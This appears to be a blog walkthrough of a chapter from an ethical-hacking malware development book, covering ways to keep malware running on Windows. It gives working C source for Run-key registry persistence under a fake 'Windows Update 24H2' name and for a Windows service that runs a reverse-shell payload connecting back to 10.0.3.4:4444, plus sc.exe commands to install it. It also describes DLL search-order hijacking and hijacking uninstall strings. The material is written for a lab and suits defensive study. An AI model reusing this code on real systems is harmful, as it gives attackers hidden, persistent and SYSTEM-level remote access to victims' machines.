Continued series from the Malware Development for Ethical Hackers Book.
GitHub repo: EricTurner3 – Malware_Development.
This chapter contains methods to achieve persistence of malware in Windows.
Registry Keys
Run Registry Key
The book utilizes a dummy code to pop up a message window using the registry persistence. I re-used my reverse shell windows code from chapter 1, cleverly named Update.exe. In my version, I named the new application StartUpdate.exe for persistence. This requires the reverse shell executable to be in C:\\Update.exe
. Once StartUpdate.exe is ran, it appears that nothing occurred. Once the system is rebooted or the user logs out and back in, Update.exe
fires and the reverse shell is granted:

Bottom: Reverse shell connection successful
/*
Persistence - Run
20 Jan 2025
Eric
To build: x86_64-w64-mingw32-gcc 03_registry_persist.c -o StartUpdate.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <windows.h>
#include <string.h>
int main(){
HKEY hkey = NULL;
// path to executable
const char* exe = "C:\\Update.exe";
//open startup reg key, save into hkey
LONG result = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hkey);
// check for success
if (result == ERROR_SUCCESS){
// create key for persistence
RegSetValueEx(hkey, (LPCSTR)"Windows Update 24H2", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}
Winlogon Registry Key
A different tactic is updating the Winlogon registry key. In this variation, we append the name of our malicious executable to the existing value explorer.exe
.
The code is almost the same as the above, with the exception of the key being opened is SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon
, and the value we are modifying is Shell
. The malicious C:\\Update.exe
gets relocated to C:\\Windows\\System32\\update.exe
. I compiled the code to UpdateLogon.exe
and executed it on the Windows VM. After a simple reboot, the update.exe
launches almost immediately and the reverse shell connects in our linux shell.

DLL Search Order Hijacking
This is a fascinating one to me. Using Process Monitor (procmon), set up a filter system for the target application, in this instance Internet Explorer (iexplore.exe). Look for any instances where the executable searches for a DLL and it is not found.

Apply the filter and then launch the target application.

As the application starts, all of the DLLs the application tries to load show up here. In this instance, none of them exist. Fortunately, all of these also exist inside of the application’s directory, instead of system DLLs that could be found in someplace such as C:\\Windows\\System32.
A malicious DLL can be created with the name of one of the above not found DLLs. Thus, when the target application is launched again, it will fire the malicious DLL.
I reused the same DLL I used from the last chapter; my custom made reverse-shell DLL. I renamed this file suspend.dll
and placed in the Internet Explorer root directory. Internet Explorer is no longer supported, and launching this application just quickly launches Microsoft Edge. However, the launch is still enough to attach our DLL and link our reverse shell.

Windows Service
The example in the book performs another two-stage attack. msfvenom
is used to create the reverse tcp payload and saved to an executable. Then, a second program is created to essentially set the msfvenom payload as a service.
Instead, we have already used a TCP reverse listener in C from prior exercises. I combined the logic in order to have a single executable that is able to register itself as a tcp listener.
/*
Persistence - Service
20 Jan 2025
Eric
To build: x86_64-w64-mingw32-gcc 03_service_persist.c -o StartUpdate.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <windows.h>
#include <string.h>
#include <stdio.h> //for printf
#define SLEEP_TIME 5000
// payload to connect back to 10.0.3.4:4444
unsigned char payload[] = "...";
size_t payload_size = sizeof(payload);
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hStatus;
void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
// reverse shell
void PhoneHome() {
// allocate memory for the payload
void *alloc_mem = VirtualAlloc(NULL, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(alloc_mem == NULL){
printf("memory allocation failed: %lu\n", GetLastError());
exit(EXIT_FAILURE);
}
// copy the payload into the newly allocated memory buffer
memcpy(alloc_mem, payload, payload_size);
// cast the memory buffer to a function pointer, then call the function to execute
void (*execute)() = (void (*)())alloc_mem;
execute();
// clean up (will most likely not be reached as the rev shell will hang during execute)
VirtualFree(alloc_mem, 0, MEM_RELEASE);
}
int main(){
SERVICE_TABLE_ENTRY ServiceTable[] = {
{"WindowsProUpdateSvc", (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
// this is the main function to start our service and handle any future requests for state change
// https://learn.microsoft.com/en-us/windows/win32/services/service-servicemain-function
void ServiceMain(int argc, char** argv) {
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwServiceSpecificExitCode = 0;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
// call the handler and call our payload function
hStatus = RegisterServiceCtrlHandler("WindowsProUpdateSvc", (LPHANDLER_FUNCTION)ControlHandler);
PhoneHome();
// set the service as running
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(hStatus, &serviceStatus);
// logic is handled by PhoneHome, this service app can sleep while service running
while (serviceStatus.dwCurrentState == SERVICE_RUNNING) {
Sleep(SLEEP_TIME);
}
return;
}
// important for handling a change in status
// https://learn.microsoft.com/en-us/windows/win32/services/service-control-handler-function
void ControlHandler(DWORD request) {
switch(request) {
case SERVICE_CONTROL_STOP:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &serviceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &serviceStatus);
return;
default:
break;
}
SetServiceStatus(hStatus, &serviceStatus);
return;
}
With the service executable built, we can call sc.exe create WindowsProUpdateSvc binpath="C:\\UpdateSvc.exe" start=auto
to create our service. Next sc.exe start WindowsProUpdateSvc
to start our new service.

I much preferred my method in combining the payload and service creation executables into a single executable for registration. This persistence method has granted us SYSTEM privileges via our reverse shell. We could additionally ensure the service auto-starts as well for further persistence.
A neat trick I noticed is that as long as the reverse shell was running, the service would not respond to sc.exe stop
or sc.exe delete
commands. I had to kill the remote shell via my linux machine and then it finally deleted on the host.
Further Loopholes
Uninstall Registry Keys
I did not create code for this exploit, as it is almost identical to the registry persistence code from before, but it instead targets a different registry key.
This particular persistence technique involves navigating to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
and picking a target application from the list to modify.

Using any method, the book author writes another c code / executable for this, modify the value for the uninstall strings to instead point to the malicious application. If the user then attempts to go to Control Panel > Uninstall a Program, and uninstalls the target application, it will instead launch the malicious executable. This method of persistence requires the end-user to actively search for the target application and attempt to uninstall it. Theoretically, a script could enumerate all of the applications in the directory and change ALL Uninstall strings to target the malicious executable. It would then have cast a wider net in attempts to secure a launch but still requires the end user to attempt to uninstall an application.